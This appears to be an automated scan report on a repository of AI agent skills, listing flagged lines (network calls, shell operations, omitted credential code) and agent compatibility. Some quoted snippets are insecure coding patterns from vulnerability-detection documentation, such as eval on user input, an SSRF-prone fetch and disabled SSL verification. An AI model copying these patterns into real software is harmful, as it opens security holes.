  • Executable scriptline 1
    Executable file

skills/template-code-generator/references/template_patterns.md

  • Network accessline 105
    const fetchData = async () => {       try {         const response = await fetch(url);
  • Network accessline 106
    try {         const response = await fetch(url);         if (!response.ok) throw new Error('Network response was not ok');
  • Network accessline 107
    const response = await fetch(url);
  • Network accessline 127
    const API_BASE_URL = import.meta.env.VITE_API_URL || 'http://localhost:8000';
  • Network accessline 131
    options?: RequestInit ): Promise<T> {   const response = await fetch(`${API_BASE_URL}${endpoint}`, {
  • Network accessline 132
    ): Promise<T> {   const response = await fetch(`${API_BASE_URL}${endpoint}`, {     ...options,
  • Network accessline 133
    const response = await fetch(`${API_BASE_URL}${endpoint}`, {
  • Network accessline 246
    # CORS     ALLOWED_ORIGINS: List[str] = ["http://localhost:3000"]
  • Network accessline 247
    ALLOWED_ORIGINS: List[str] = ["http://localhost:3000"]
  • Access to secretsline 250
    [Credential-related source omitted]
  • Network accessline 647
    long_description=open('README.md').read(),     long_description_content_type='text/markdown',     url='https://github.com/yourusername/my-cli-tool',
  • Network accessline 648
    long_description_content_type='text/markdown',     url='https://github.com/yourusername/my-cli-tool',     classifiers=[
  • Network accessline 649
    url='https://github.com/yourusername/my-cli-tool',
  • Network accessline 716
    {   "$schema": "https://turbo.build/schema.json",
  • Network accessline 717
    "$schema": "https://turbo.build/schema.json",

skills/test-case-documentation/scripts/extract_tests.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/test-case-reducer/references/language-specific.md

  • Network accessline 347
    <!-- Original --> <root xmlns="http://example.com">
  • Network accessline 348
    <root xmlns="http://example.com">
  • Network accessline 360
    <!-- Reduced --> <root xmlns="http://example.com">
  • Network accessline 361
    <root xmlns="http://example.com">

skills/test-case-reducer/scripts/reduce_test.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/test-deduplicator/scripts/coverage_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/test-deduplicator/scripts/deduplicator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/test-deduplicator/scripts/semantic_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/test-guided-debloating/SKILL.md

  • Dangerous shell operationline 82
    rm path/to/unused_file.py

skills/test-guided-debloating/scripts/analyze_coverage.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/test-guided-migration-assistant/scripts/analyze_test_failures.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/test-suite-prioritizer/references/framework_guides.md

  • Network accessline 438
    <!-- testng.xml - Define test suites --> <!DOCTYPE suite SYSTEM "https://testng.org/testng-1.0.dtd">
  • Network accessline 439
    <!DOCTYPE suite SYSTEM "https://testng.org/testng-1.0.dtd">

skills/time-aware-dependency-cve-scanner/SKILL.md

  • Network accessline 248
    - OSV.dev has generous limits, but add delays if hitting limits - For NVD, get an API key: https://nvd.nist.gov/developers/request-an-api-key
  • Network accessline 249
    - For NVD, get an API key: https://nvd.nist.gov/developers/request-an-api-key

skills/time-aware-dependency-cve-scanner/references/dependency_formats.md

  • Network accessline 47
    "express": {       "version": "4.18.2",       "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
  • Network accessline 48
    "version": "4.18.2",       "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",       "requires": {
  • Network accessline 49
    "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
  • Network accessline 234
    name = "serde" version = "1.0.144" source = "registry+https://github.com/rust-lang/crates.io-index"
  • Network accessline 235
    version = "1.0.144" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "..."
  • Network accessline 236
    source = "registry+https://github.com/rust-lang/crates.io-index"

skills/time-aware-dependency-cve-scanner/references/vulnerability_databases.md

  • Network accessline 7
    **URL**: https://osv.dev
  • Network accessline 8
    **API**: https://api.osv.dev/v1/query
  • Network accessline 32
    **Endpoint**: `POST https://api.osv.dev/v1/query`
  • Network accessline 99
    **URL**: https://nvd.nist.gov
  • Network accessline 100
    **API**: https://services.nvd.nist.gov/rest/json/cves/2.0
  • Network accessline 108
    **Requires API key** for higher rate limits. Get one at: https://nvd.nist.gov/developers/request-an-api-key
  • Network accessline 110
    **Endpoint**: `GET https://services.nvd.nist.gov/rest/json/cves/2.0`
  • Network accessline 120
    GET https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2023-01-01T00:00:00.000&pubEndDate=2023-12-31T23:59:59.999
  • Network accessline 162
    **URL**: https://github.com/advisories
  • Network accessline 173
    **Endpoint**: `POST https://api.github.com/graphql`

skills/time-aware-dependency-cve-scanner/scripts/parse_dependencies.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 85
    ns = {'maven': 'http://maven.apache.org/POM/4.0.0'}

skills/time-aware-dependency-cve-scanner/scripts/query_cves.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 70
    url = "https://api.osv.dev/v1/query"
  • Network accessline 79
    try:         response = requests.post(url, json=payload, timeout=10)
  • Network accessline 80
    response = requests.post(url, json=payload, timeout=10)
  • Access to secretsline 100
    [Credential-related source omitted]
  • Network accessline 118
    url = "https://api.github.com/graphql"
  • Network accessline 148
    try:         response = requests.post(url, json=payload, headers=headers, timeout=10)
  • Network accessline 149
    response = requests.post(url, json=payload, headers=headers, timeout=10)

skills/time-aware-dependency-cve-scanner/scripts/scan_repository.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/tlaplus-guided-code-repair/scripts/parse_tlc_trace.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/tlaplus-guided-code-repair/scripts/run_tlc.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/tlaplus-spec-generator/SKILL.md

  • Network accessline 305
    - **TLA+ Toolbox**: IDE for writing and checking TLA+ specs (https://lamport.azurewebsites.net/tla/toolbox.html)

skills/tlaplus-spec-generator/references/distributed_patterns.md

  • Dangerous shell operationline 69
    /\ rmState \in [RM -> {"working", "prepared", "committed", "aborted"}]
  • Dangerous shell operationline 106
    Consistency == \A r1, r2 \in RM :

skills/tlaplus-spec-generator/scripts/generate_spec.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/tlaplus-spec-generator/scripts/program_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/tlaplus-spec-generator/scripts/tlaplus_generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/trace-collection-assistant/assets/schema_template.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",

skills/trace-collection-assistant/scripts/extract_debug_info.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/trace-collection-assistant/scripts/filter_trace.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/trace-collection-assistant/scripts/parse_ltrace.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/trace-collection-assistant/scripts/parse_strace.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/unit-test-generator/references/test_patterns.md

  • Network accessline 540
    """Should fetch data asynchronously."""         # Act         result = await fetcher.fetch_data("https://api.example.com")
  • Network accessline 542
    result = await fetcher.fetch_data("https://api.example.com")
  • Network accessline 551
    # Act & Assert         with pytest.raises(asyncio.TimeoutError):             await fetcher.fetch_data("https://slow-api.example.com", timeout=0.1)
  • Network accessline 553
    await fetcher.fetch_data("https://slow-api.example.com", timeout=0.1)
  • Network accessline 558
    # Arrange         urls = [             "https://api1.example.com",
  • Network accessline 559
    urls = [             "https://api1.example.com",             "https://api2.example.com",
  • Network accessline 560
    "https://api1.example.com",
  • Network accessline 561
    "https://api2.example.com",
  • Network accessline 562
    "https://api3.example.com"
  • Network accessline 583
    # Act         result = await fetcher.fetch_with_retry("https://api.example.com", retries=3)
  • Network accessline 584
    result = await fetcher.fetch_with_retry("https://api.example.com", retries=3)
  • Network accessline 606
    // when         CompletableFuture<Data> future = fetcher.fetchData("https://api.example.com");
  • Network accessline 607
    CompletableFuture<Data> future = fetcher.fetchData("https://api.example.com");
  • Network accessline 618
    AsyncDataFetcher fetcher = new AsyncDataFetcher();         String[] urls = {             "https://api1.example.com",
  • Network accessline 619
    String[] urls = {             "https://api1.example.com",             "https://api2.example.com",
  • Network accessline 620
    "https://api1.example.com",
  • Network accessline 621
    "https://api2.example.com",
  • Network accessline 622
    "https://api3.example.com"
  • Network accessline 640
    // when         CompletableFuture<Data> future = fetcher.fetchData("https://invalid-url");
  • Network accessline 641
    CompletableFuture<Data> future = fetcher.fetchData("https://invalid-url");

skills/verified-spec-code-mapper/SKILL.md

  • Network accessline 487
    - **Mapping patterns:** See [mapping_patterns.md](references/mapping_patterns.md) for comprehensive patterns and templates - **Coq documentation:** https://coq.inria.fr/documentation
  • Network accessline 488
    - **Coq documentation:** https://coq.inria.fr/documentation
  • Network accessline 489
    - **Dafny documentation:** https://dafny.org/
  • Network accessline 490
    - **Isabelle documentation:** https://isabelle.in.tum.de/documentation.html

skills/vulnerability-pattern-matcher/SKILL.md

  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Network accessline 295
    def fetch_url():     url = request.args.get('url')     response = requests.get(url)
  • Network accessline 296
    url = request.args.get('url')     response = requests.get(url)     return response.content
  • Network accessline 297
    response = requests.get(url)
  • Network accessline 328
    if parsed.hostname not in ALLOWED_HOSTS:         return "Invalid URL", 400     response = requests.get(url, timeout=5)
  • Network accessline 329
    return "Invalid URL", 400     response = requests.get(url, timeout=5)     return response.content
  • Network accessline 330
    response = requests.get(url, timeout=5)

skills/vulnerability-pattern-matcher/references/vulnerability_patterns.md

  • Access to secretsline 114
    [Credential-related source omitted]
  • Dangerous shell operationline 232
    eval(userInput);
  • Network accessline 411
    import ssl context = ssl._create_unverified_context() urllib.request.urlopen(url, context=context)
  • Network accessline 413
    urllib.request.urlopen(url, context=context)
  • Network accessline 485
    def fetch_url():     url = request.args.get('url')     response = requests.get(url)
  • Network accessline 486
    url = request.args.get('url')     response = requests.get(url)     return response.content
  • Network accessline 487
    response = requests.get(url)
  • Network accessline 541
    // SAFE DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 542
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 543
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • Network accessline 544
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • Network accessline 545
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Dangerous shell operationline 604
    - User input in system(), exec(), shell commands
  • Dangerous shell operationline 633
    - eval(), exec() with user input
  • Dangerous shell operationline 641
    eval(user_code)

skills/vulnerability-root-cause-analyzer/references/analysis_strategies.md

  • Dangerous shell operationline 90
    - system(), popen(), exec() calls

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Combined signals: 7 facts
Signal confidence: 493 facts

and 443 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeCompatibleStandard SKILL.md skills/abstract-domain-explorer/SKILL.md.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md skills/abstract-domain-explorer/SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md skills/abstract-domain-explorer/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md skills/abstract-domain-explorer/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md skills/abstract-domain-explorer/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md skills/abstract-domain-explorer/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.